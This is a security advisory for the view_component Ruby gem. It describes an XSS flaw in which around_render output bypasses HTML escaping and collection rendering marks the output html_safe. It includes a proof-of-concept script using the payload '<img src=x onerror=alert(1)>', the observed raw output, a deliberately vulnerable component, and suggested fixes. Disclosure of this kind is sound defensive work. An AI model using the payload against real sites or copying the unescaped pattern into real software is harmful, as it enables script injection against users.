RubyGems · view_component
ViewComponent: around_render HTML-Safety Bypass
ViewComponent::Base#around_render can return HTML-unsafe strings that bypass the escaping behavior applied to normal #call return values. This creates an XSS risk when downstream applications use around_render to wrap, replace, instrument, or conditionally return content that includes user-controlled data.
The issue is especially dangerous in collection rendering because ViewComponent::Collection#render_in joins the per-item results and marks the entire output as html_safe, converting raw unsafe output into a trusted ActiveSupport::SafeBuffer.
Validated against:
eea794453.4.9Relevant locations:
lib/view_component/base.rbrender_inaround_render__vc_maybe_escape_htmllib/view_component/template.rbInlineCall#safe_method_name_calllib/view_component/collection.rbCollection#render_inKey code paths:
# lib/view_component/base.rb
around_render do
render_template_for(@__vc_requested_details).to_s
end
# lib/view_component/template.rb
proc do
__vc_maybe_escape_html(send(m)) do
Kernel.warn(...)
end
end
# lib/view_component/collection.rb
components.map do |component|
component.render_in(view_context, &block)
end.join(rendered_spacer(view_context)).html_safe
Normal inline #call output is passed through __vc_maybe_escape_html, which escapes HTML-unsafe strings. However, when around_render itself returns a string, the returned value becomes the component render result without being passed through the same HTML-safety boundary.
This creates two different output-safety behaviors:
#call returning unsafe string: escaped#around_render returning unsafe string: rawCollection rendering then amplifies the issue by calling .html_safe on the joined result.
Run from the repository root:
$LOAD_PATH.unshift File.expand_path("lib", Dir.pwd)
require "action_controller/railtie"
require "rack/mock"
require "view_component/base"
class PocController < ActionController::Base; end
def vc
c = PocController.new
c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc")))
c.set_response!(ActionDispatch::Response.new)
c.view_context
end
PAYLOAD = "<img src=x onerror=alert(1)>"
class UnsafeCallComponent < ViewComponent::Base
def initialize(payload:) = @payload = payload
def call = @payload
end
class UnsafeAroundComponent < ViewComponent::Base
def initialize(payload:) = @payload = payload
def call = "SAFE"
def around_render = @payload
end
class UnsafeAroundCollectionComponent < ViewComponent::Base
with_collection_parameter :payload
def initialize(payload:) = @payload = payload
def call = "SAFE"
def around_render = @payload
end
view_context = vc
normal = UnsafeCallComponent.new(payload: PAYLOAD).render_in(view_context)
around = UnsafeAroundComponent.new(payload: PAYLOAD).render_in(view_context)
collection = UnsafeAroundCollectionComponent.with_collection([PAYLOAD]).render_in(view_context)
puts "normal_call=#{normal}"
puts "normal_call_raw=#{normal.include?(PAYLOAD)} html_safe=#{normal.html_safe?}"
puts "around_render=#{around}"
puts "around_render_raw=#{around.include?(PAYLOAD)} html_safe=#{around.html_safe?}"
puts "collection=#{collection}"
puts "collection_raw=#{collection.include?(PAYLOAD)} html_safe=#{collection.html_safe?}"
c = PocController.new
c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc")))
c.set_response!(ActionDispatch::Response.new)
out = c.render_to_string(UnsafeAroundComponent.new(payload: PAYLOAD))
puts "controller_render_to_string=#{out}"
puts "controller_raw=#{out.include?(PAYLOAD)} html_safe=#{out.html_safe?}"
Observed output:
normal_call=<img src=x onerror=alert(1)>
normal_call_raw=false html_safe=true
around_render=<img src=x onerror=alert(1)>
around_render_raw=true html_safe=false
collection=<img src=x onerror=alert(1)>
collection_raw=true html_safe=true
controller_render_to_string=<img src=x onerror=alert(1)>
controller_raw=true html_safe=false
The control case confirms that normal #call output is escaped. The around_render cases confirm that the same payload is emitted raw.
A downstream application defines a component that uses around_render for tracing, layout wrapping, feature-flag fallback, error fallback, or instrumentation. If the hook returns a string containing request data, model attributes, CMS content, markdown output, or other attacker-controlled values, the value can be rendered as raw HTML.
Example vulnerable pattern:
class BannerComponent < ViewComponent::Base
def initialize(message:)
@message = message
end
def call
"fallback"
end
def around_render
"<div class=\"banner\">#{@message}</div>"
end
end
If message is user-controlled, scriptable HTML reaches the browser.
Successful exploitation allows XSS in applications using affected components. Depending on application context, impact can include:
The collection path is particularly risky because it converts the joined raw output to html_safe, which can suppress later escaping.
around_render.around_render returns or wraps attacker-influenced HTML-unsafe content.ViewComponent::Collection or controller/direct rendering.This finding can chain with:
around_renderApply the same HTML-safety enforcement to around_render return values that is applied to normal inline #call output.
Possible approaches:
around_render with __vc_maybe_escape_html when the current template is HTML.around_render to return an ActiveSupport::SafeBuffer to opt into raw HTML..html_safe on joined component outputs unless each item has been normalized through the same safety boundary.Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.